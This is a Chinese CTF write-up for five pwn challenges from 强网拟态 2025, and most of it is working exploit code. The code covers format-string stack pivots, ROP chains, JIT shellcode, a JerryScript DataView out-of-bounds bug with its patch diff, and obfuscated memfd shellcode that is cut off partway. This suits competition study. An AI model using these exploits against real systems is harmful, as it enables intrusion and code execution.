pwn· 更新于 2025-12-02

强网拟态-2025

强网拟态 2025

先来一张结算画面

image-20251202113001899

image-20251202113009785

leak4

int_8 的负数溢出,可以修改返回地址低位为 printf

格式化字符串,改 puts->strlen_got 为 leave_ret,配合修改 main 的 save_rbp 和 ret_addr 可以栈迁移

#!/usr/bin/env python3
from pwncli import *

# context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'zsh', '-c']
# context.terminal = ['wt.exe', '-w', "0", "sp", '-s', '0.6', "-d", ".", "wsl.exe", "-d", "ubuntu", "bash", "-c"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './chal')
if local_flag == "remote":
    addr = '172.31.20.13 9999'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

j_values = [0] * 0x80
input2_values = [0] * 0x80
for i in range(0x7F):
    input2_values[i] = i
cmd = '''
    # brva 0x152E
    # brva 0x1595
    brva 0x15C0
    brva 0x18A0
    # ida
    c
'''

ru(b'Enter the key->')
payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{0x27 + 6}$p#'.encode() + f'%{0x24 + 6}$p#'.encode() + f'%{0x1 + 6}$p#'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)

ru(b'D' * 0x46 + b'\xbe\x91')
libc_base = int(ru(b'#')[:-1], 16) - libc.sym['__libc_start_main'] - 243
set_current_libc_base_and_log(libc_base)
stack = int(ru(b'#')[:-1], 16) - 0x220
leak_ex2(stack)
heap_base = int(ru(b'#')[:-1], 16) - 0x220 - 0x1260
leak_ex2(heap_base)

CG.set_find_area(False, True)
leave_ret = CG.leave_ret()

io_list_all = libc_base + 0x1EC0A8
fake_IO_FILE = leave_ret
payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x200) & 0xFFFF) - 0x48}c%{0x29 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x202) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((io_list_all >> 16) & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x204) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((io_list_all >> 32) & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x200) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48 + 0x2}c%{0x45 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE >> 16) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48 + 0x4}c%{0x45 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE >> 32) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

############################################################################

io_list_all = stack + 0x130
fake_IO_FILE = heap_base + 0x3C08
payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x200) & 0xFFFF) - 0x48}c%{0x29 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x202) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((io_list_all >> 16) & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x204) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((io_list_all >> 32) & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x200) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48 + 0x2}c%{0x45 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE >> 16) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48 + 0x4}c%{0x45 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE >> 32) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

############################################################################

############################################################################

io_list_all = stack + 0x138
fake_IO_FILE = leave_ret
payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x200) & 0xFFFF) - 0x48}c%{0x29 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x202) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((io_list_all >> 16) & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x204) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((io_list_all >> 32) & 0xFFFF) - 0x48}c%{0x45 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((stack + 0x200) & 0xFF) - 0x48}c%{0x29 + 6}$hhn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48 + 0x2}c%{0x45 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE >> 16) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{(io_list_all & 0xFFFF) - 0x48 + 0x4}c%{0x45 + 6}$hn'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

payload = b"D" * 0x46
payload += b"\xbe\x91"
payload += f'%{((fake_IO_FILE >> 32) & 0xFFFF) - 0x48}c%{0x40 + 6}$ln'.encode()
payload = payload.ljust(0x80, b"\0")
s(payload)
ru(b'D' * 0x46 + b'\xbe\x91')

############################################################################

rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = libc_base + 0x15FAE6

leak_ex2(heap_base)
leak_ex2(rdi)
leak_ex2(io_list_all)
leak_ex2(stack)
leak_ex2(fake_IO_FILE)
launch_gdb(cmd)
payload2 = b"\0" * 53
payload2 += b"\xec\xa2" + b'\x00'
payload2 += flat([rdi, rdi, heap_base + 0x3C08, libc.sym.gets])
payload2 = payload2.ljust(0x80, b"\0")
s(payload2)

payload3 = b'/flag\x00'.ljust(0x20, b'a') + flat([rdi, heap_base + 0x3C08, rsi, 0, rdx_rbx, 0, 0, libc.sym.open])
payload3 += flat([rdi, 3, rsi, heap_base + 0x1000, rdx_rbx, 0x50, 0, libc.sym.read])
payload3 += flat([rdi, 1, libc.sym.write])
sl(payload3)

ia()

image-20251202114019425

hchr

同一块函数体执行超过 0x64 次会 JIT,设置好判断条件 call offset 配合错位 shellcode 即可

#!/usr/bin/env python3
from pwncli import *

# context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './hchr')
if local_flag == "remote":
    addr = '172.31.20.12 9999'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


class HchrPayload:
    """
    Payload generator for the 'hchr' JIT challenge.
    Handles opcode encoding and instruction generation.
    """

    # Register definitions (Mapped to x64: 0=RAX, 1=RCX, 2=RDX, 3=RBX)
    RAX = 0
    RCX = 1
    RDX = 2
    RBX = 3

    def __init__(self):
        self.buffer = b""

    def _u8(self, val):
        return struct.pack("B", val & 0xFF)

    def _i8(self, val):
        # Signed 8-bit integer for jump offsets
        return struct.pack("b", val)

    def _u32(self, val):
        return struct.pack("<I", val & 0xFFFFFFFF)

    def mov_imm(self, reg, imm):
        """
        Opcode 0x01: MOV reg, imm32
        Format: 01 [reg] 04 [imm32]
        Generates x64: B8+reg [imm32] (5 bytes)
        """
        assert 0 <= reg <= 3, "Register index must be 0-3"
        self.buffer += b"\x01" + self._u8(reg) + b"\x04" + self._u32(imm)
        return self

    def mov_reg(self, dst, src):
        """
        Opcode 0x02: MOV dst, src
        Format: 02 [dst] [src]
        """
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x02" + self._u8(dst) + self._u8(src)
        return self

    def add(self, dst, src):
        """Opcode 0x11: ADD dst, src"""
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x11" + self._u8(dst) + self._u8(src)
        return self

    def sub(self, dst, src):
        """Opcode 0x12: SUB dst, src"""
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x12" + self._u8(dst) + self._u8(src)
        return self

    def and_(self, dst, src):
        """Opcode 0x21: AND dst, src"""
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x21" + self._u8(dst) + self._u8(src)
        return self

    def or_(self, dst, src):
        """Opcode 0x22: OR dst, src"""
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x22" + self._u8(dst) + self._u8(src)
        return self

    def xor(self, dst, src):
        """Opcode 0x23: XOR dst, src"""
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x23" + self._u8(dst) + self._u8(src)
        return self

    def cmp(self, dst, src):
        """Opcode 0x31: CMP dst, src"""
        assert 0 <= dst <= 3 and 0 <= src <= 3
        self.buffer += b"\x31" + self._u8(dst) + self._u8(src)
        return self

    def jmp(self, offset):
        """
        Opcode 0x41: JMP rel8
        Format: 41 [offset]
        Generates x64: EB [offset] (2 bytes)
        """
        self.buffer += b"\x41" + self._i8(offset)
        return self

    def je(self, offset):
        """
        Opcode 0x42: JE rel8
        Format: 42 [offset]
        Generates x64: 74 [offset] (2 bytes)
        """
        self.buffer += b"\x42" + self._i8(offset)
        return self

    def jne(self, offset):
        """
        Opcode 0x43: JNE rel8
        Format: 43 [offset]
        Generates x64: 75 [offset] (2 bytes)
        """
        self.buffer += b"\x43" + self._i8(offset)
        return self

    def raw(self, data):
        """Append raw bytes (for padding or custom data)"""
        self.buffer += data
        return self

    def get(self):
        """Return the generated payload bytes"""
        return self.buffer

    def __len__(self):
        return len(self.buffer)


cmd = '''
    brva 0x18D8C
    c
'''
launch_gdb(cmd, stop_=0)
vm = HchrPayload()
# --- Part 1: JIT Trigger Loop ---
# for(i=0; i<0x200; i++)
# i=RAX, limit=RCX, step=RDX

vm.mov_imm(vm.RAX, 0)  # i = 0
vm.mov_imm(vm.RCX, 0x64)  # limit = 512
vm.mov_imm(vm.RDX, 1)  # step = 1
vm.mov_imm(vm.RBX, u32_ex(b'flag'))

# Loop Body
# CMP RAX, RCX (2 bytes in x64)
vm.cmp(vm.RAX, vm.RCX)

# JE skip loop body
# Skips ADD (3) + 10 * MOV (70) + JMP (2) = 75 bytes (0x4B)
vm.je(0x8)

# ADD RAX, RDX (2 bytes in x64)
vm.add(vm.RAX, vm.RDX)

# JMP back to CMP
# Back: JMP(2) + 10 * MOV (70) + ADD (3) + JE (2) + CMP (3) = 80 bytes
vm.jmp(-10)
vm.mov_imm(vm.RBX, u32(b'\x6a\x14\xeb\x03'))  # push 0x14
vm.mov_imm(vm.RBX, u32(b'\x59\x90\xeb\x03'))  # pop rcx; nop

vm.mov_imm(vm.RBX, u32(b'\x41\x5b\xeb\x03'))  # pop r11
vm.mov_imm(vm.RBX, u32(b'\xfe\xc9\xeb\x03'))  # dec cl
vm.mov_imm(vm.RBX, u32(b'\x84\xc9\xeb\x03'))  # test cl, cl
vm.mov_imm(vm.RBX, u32(b'\x75\xe9\xeb\x03'))  # jne -$21

vm.mov_imm(vm.RBX, u32(b'\x6a\x02\xeb\x03'))  # push 2
vm.mov_imm(vm.RBX, u32(b'\x58\x53\xeb\x03'))  # pop rax; push rbx
vm.mov_imm(vm.RBX, u32(b'\x6a\x00\xeb\x03'))  # push 0
vm.mov_imm(vm.RBX, u32(b'\x6a\x00\xeb\x03'))  # push 0
vm.mov_imm(vm.RBX, u32(b'\x5e\x5a\xeb\x03'))  # pop rsi; pop rdx
vm.mov_imm(vm.RBX, u32(b'\x0f\x05\xeb\x03'))  # syscall

vm.mov_imm(vm.RBX, u32(b'\x57\x5e\xeb\x03'))  # push rdi; pop rsi
vm.mov_imm(vm.RBX, u32(b'\x6a\x70\xeb\x03'))  # push 0x70
vm.mov_imm(vm.RBX, u32(b'\x6a\x03\xeb\x03'))  # push 3
vm.mov_imm(vm.RBX, u32(b'\x5f\x5a\xeb\x03'))  # pop rdi; pop rdx
vm.mov_imm(vm.RBX, u32(b'\x6a\x00\xeb\x03'))  # push 0
vm.mov_imm(vm.RBX, u32(b'\x58\x90\xeb\x03'))  # pop rax
vm.mov_imm(vm.RBX, u32(b'\x0f\x05\xeb\x03'))  # syscall

vm.mov_imm(vm.RBX, u32(b'\x6a\x01\xeb\x03'))  # push 1
vm.mov_imm(vm.RBX, u32(b'\x6a\x01\xeb\x03'))  # push 1
vm.mov_imm(vm.RBX, u32(b'\x5f\x58\xeb\x03'))  # pop rdi; pop rax
vm.mov_imm(vm.RBX, u32(b'\x0f\x05\xeb\x03'))  # syscall


s(vm.get())
gift.io.shutdown("send")
with open('payload.bin', 'wb') as f:
    f.write(vm.get())


ia()

image-20251202113940399

Cherry

设置 Dataview 的 offset 字段为 NaN 即可造成越界

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

var L = 0x10;
var buf = new ArrayBuffer(L);
ab = new ArrayBuffer(0x200)
var ta = new Float64Array(buf);

var off = L;
var dv = new DataView(buf, NaN, 0x28);

dv1 = new DataView(ab)
dv1.setUint32(0, 0x41414141, true)

var elf = dv.getBigUint64(0x20, true);
elf = (elf & (~0xfffn)) - 0x72000n;
print("addr1: ", hex(elf));

dv.setBigUint64(0x20, elf + 0x71108n, true);
var stack = dv1.getBigUint64(0, true);
stack = stack + 0x1e8n;
print("addr2: ", hex(stack));

dv.setBigUint64(0x20, stack, true);
var libc = dv1.getBigUint64(0, true);
libc = libc - 0x2a1can;
print("addr3: ", hex(libc));

// var str = "/flag\x00";
// var rdi = libc + 0x10f78bn;
// var rsi = libc + 0x110a7dn;
// var mov_rdx_r13_pop4 = libc + 0xb00d7n;
// var r13 = libc + 0x584d9n;
// var ret = libc + 0x11255an;
// var open_ = libc + 0x11B150n;
// var read = libc + 0x11BA80n;
// var write = libc + 0x11C590n;
// var system = libc + 0x58750n;

// var str_addr = elf + 0x73269n;
// var sh_addr = libc + 0x1cb42fn;

dv.setBigUint64(0x20, stack, true);
dv1.setBigUint64(0, libc + 0x10f78bn, true);
dv.setBigUint64(0x20, stack + 0x8n, true);
dv1.setBigUint64(0, libc + 0x1cb42fn, true);
dv.setBigUint64(0x20, stack + 0x10n, true);
dv1.setBigUint64(0, libc + 0x11255an, true);
dv.setBigUint64(0x20, stack + 0x18n, true);
dv1.setBigUint64(0, libc + 0x58750n, true);
dv.setBigUint64(0x20, stack + 0x20n, true);
dv1.setBigUint64(0, libc + 0x58750n, true);

// dv.setBigUint64(0x20, stack, true);
// dv1.setBigUint64(0, rdi, true);
// dv.setBigUint64(0x20, stack + 0x8n, true);
// dv1.setBigUint64(0, str_addr, true);
// dv.setBigUint64(0x20, stack + 0x10n, true);
// dv1.setBigUint64(0, rsi, true);
// dv.setBigUint64(0x20, stack + 0x18n, true);
// dv1.setBigUint64(0, 0n, true);
// dv.setBigUint64(0x20, stack + 0x20n, true);
// dv1.setBigUint64(0, r13, true);
// dv.setBigUint64(0x20, stack + 0x28n, true);
// dv1.setBigUint64(0, 0n, true);
// dv.setBigUint64(0x20, stack + 0x30n, true);
// dv1.setBigUint64(0, mov_rdx_r13_pop4, true);
// dv.setBigUint64(0x20, stack + 0x58n, true);
// dv1.setBigUint64(0, open_, true);

// dv.setBigUint64(0x20, stack + 0x60n, true);
// dv1.setBigUint64(0, rdi, true);
// dv.setBigUint64(0x20, stack + 0x68n, true);
// dv1.setBigUint64(0, 3n, true);
// dv.setBigUint64(0x20, stack + 0x70n, true);
// dv1.setBigUint64(0, rsi, true);
// dv.setBigUint64(0x20, stack + 0x78n, true);
// dv1.setBigUint64(0, str_addr + 0x8n, true);
// dv.setBigUint64(0x20, stack + 0x80n, true);
// dv1.setBigUint64(0, r13, true);
// dv.setBigUint64(0x20, stack + 0x88n, true);
// dv1.setBigUint64(0, 0x100n, true);
// dv.setBigUint64(0x20, stack + 0x90n, true);
// dv1.setBigUint64(0, mov_rdx_r13_pop4, true);
// dv.setBigUint64(0x20, stack + 0xb8n, true);
// dv1.setBigUint64(0, read, true);

// dv.setBigUint64(0x20, stack + 0xc0n, true);
// dv1.setBigUint64(0, rdi, true);
// dv.setBigUint64(0x20, stack + 0xc8n, true);
// dv1.setBigUint64(0, 1n, true);
// dv.setBigUint64(0x20, stack + 0xd0n, true);
// dv1.setBigUint64(0, write, true);

// dv.setBigUint64(0x20, elf + 0xf3c00n, true);
diff --git a/jerry-core/ecma/operations/ecma-conversion.c b/jerry-core/ecma/operations/ecma-conversion.c
index cf0c9fde..5c1b7aa2 100644
--- a/jerry-core/ecma/operations/ecma-conversion.c
+++ b/jerry-core/ecma/operations/ecma-conversion.c
@@ -905,7 +905,6 @@ ecma_op_to_integer (ecma_value_t value, /**< ecma value */
   /* 3 */
   if (ecma_number_is_nan (number))
   {
-    *number_p = ECMA_NUMBER_ZERO;
     return ECMA_VALUE_EMPTY;
   }
 

image-20251202113955339

somerop

原题出自 2024t1dctf,exp 来自

# 本文作者: 4riH04X @は永遠に不滅である
# 本文链接: http://4rih04x.fun/CTF/Pwn/Game/第一届T1dCTF夺Pwn杯_WP/
# 版权声明: 本站所有文章除特别声明外,均采用 (CC)BY-NC-SA 许可协议。转载请注明出处!
from pwn import *
from ctypes import *
from struct import pack
import numpy as np
from base64 import *
from bisect import *
from Crypto.Util.number import *

addr = '172.31.20.15 80'
ip, port = re.split(r'[\s:]+', addr)
p = remote(ip, port)
context(arch='i386', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]

stack_addr = 0xFFFFDE4C
addr = stack_addr + 0x20
vdso_addr = 0xF7FFC000
pop_edx_ecx = vdso_addr + 0x57A
pop_ebx_4 = vdso_addr + 0x610
mov_eax_ecx = vdso_addr + 0xB73
int80_ret = 0x8049010  # eax会清零

payload = b'/root/flag.txt\x00'.ljust(0x20, b'\x00')
payload += p32(pop_ebx_4) + p32(stack_addr) * 3 + p32(0xFFFFDE8C) + p32(pop_edx_ecx) + p32(0) + p32(5) + p32(mov_eax_ecx)
payload += p32(pop_edx_ecx) + p32(0) * 2 + p32(pop_ebx_4) + p32(stack_addr) * 4 + p32(int80_ret)

payload += p32(pop_ebx_4) + p32(3) * 3 + p32(0xFFFFDED4) + p32(pop_edx_ecx) + p32(0) + p32(3) + p32(mov_eax_ecx)
payload += p32(pop_edx_ecx) + p32(0x40) + p32(0x804A000) + p32(pop_ebx_4) + p32(3) * 4 + p32(int80_ret)
# payload += p32(0x8049015)
payload += p32(pop_ebx_4) + p32(1) * 3 + p32(0xFFFFDF1C) + p32(pop_edx_ecx) + p32(0) + p32(4) + p32(mov_eax_ecx)
payload += p32(pop_edx_ecx) + p32(0x40) + p32(0x804A000) + p32(pop_ebx_4) + p32(1) * 4 + p32(int80_ret)

p.recvuntil(b'challenger@ctf')
p.sendline(f'echo {b64encode(payload).decode()} | base64 -d | ./pwn')


p.interactive()

车联网

memfd execveat

#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
    addr = '172.29.40.128 11008'
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process('./mimic_binary')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = gift.libc = ELF('./libc.so.6')
gift.elf = ELF('./mimic_binary')


def addr_to_hex(addr_str):
    """
    输入格式: "172.18.11.18:11223"
    输出格式: "0x120b12acd72b0002"
    """
    try:
        ip, port = addr_str.strip().split(':')
        port = int(port)

        # 构造 sockaddr_in 结构体 (8字节)
        # 1. sa_family (2 bytes, AF_INET = 2)
        # 2. sin_port (2 bytes) - 网络字节序 (大端)
        # 3. sin_addr (4 bytes) - 网络字节序 (大端)

        # 组合字节流: Family(2) + Port + IP
        data = struct.pack('<H', 2) + struct.pack('!H', port) + socket.inet_aton(ip)

        # 将 8 字节数据解包为 64 位整数 (小端序,适配 x64 寄存器赋值)
        val = struct.unpack('<Q', data)[0]

        return f'0x{val:016x}'
    except Exception as e:
        print(f"转换错误: {e}")
        return None


cmd = '''
    # b *0x40163C
    c
'''
launch_gdb(cmd)

add_rsp_ret = 0x401016

# gift.io = remote('127.0.0.1', 11008)
sl(b'%39$p#' + f'%{0x49+5}$p#'.encode())
stack = int(gift.io.recvuntil(b'#')[:-1], 16) - 0x128
leak_ex2(stack)
libc_base = int(gift.io.recvuntil(b'#')[:-1], 16) - 0x29D90
set_current_libc_base_and_log(libc_base)
# sl(fmtstr_payload(7, {stack: 0x40194D}))


st = 0.3
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rcx = CG.pop_rcx_ret()
sl(fmtstr_payload(7, {stack + 0x10: rdi}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x18: stack & (~0xFFF)}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x20: rsi}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x28: 0x10000}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x30: rdx_rbx}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x38: 7}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x40: 0}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x48: libc.sym['mprotect']}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x50: rdi}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x58: 4}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x60: rsi}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x68: stack + 0x90}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x70: rdx_rbx}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x78: 0x8000}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x80: 0x0}))
sleep(st)
sl(fmtstr_payload(7, {stack + 0x88: libc.sym['read']}))

sl(fmtstr_payload(7, {stack + 0x0: rdi}))
sleep(st + 1)


# pause()
shellcode = (
    shellcraft.mmap(0x12340000, 0x20000, 7, 0x22, -1, 0)
    + f'''
    mov rsp, 0x1234F000
    
    /* open /bin/bash (obfuscated) */
    mov rax, 0x1179
    xor rax, 0x1111
    push rax
    
    mov rax, 0x6270733e7f78733e
    mov rbx, 0x1111111111111111
    xor rax, rbx
    push rax

    mov rdi, rsp
    xor rsi, rsi
    mov rax, 2
    syscall
    mov r12, rax
    
    /* memfd_create("elf", 0) */
    mov rax, 0x00666c65
    push rax
    mov rdi, rsp
    xor rsi, rsi
    mov rax, 319
    syscall
    mov r13, rax
    
    sub rsp, 4096
    mov rbx, rsp

read_loop:
    mov rdi, r12
    mov rsi, rbx
    mov rdx, 4096
    xor rax, rax
    syscall
    test rax, rax
    jle done
    
    mov rdi, r13
    mov rsi, rbx
    mov rdx, rax
    mov rax, 1
    syscall
    jmp read_loop

done:
    /* close input fd */
    mov rdi, r12
    mov rax, 3
    syscall
    
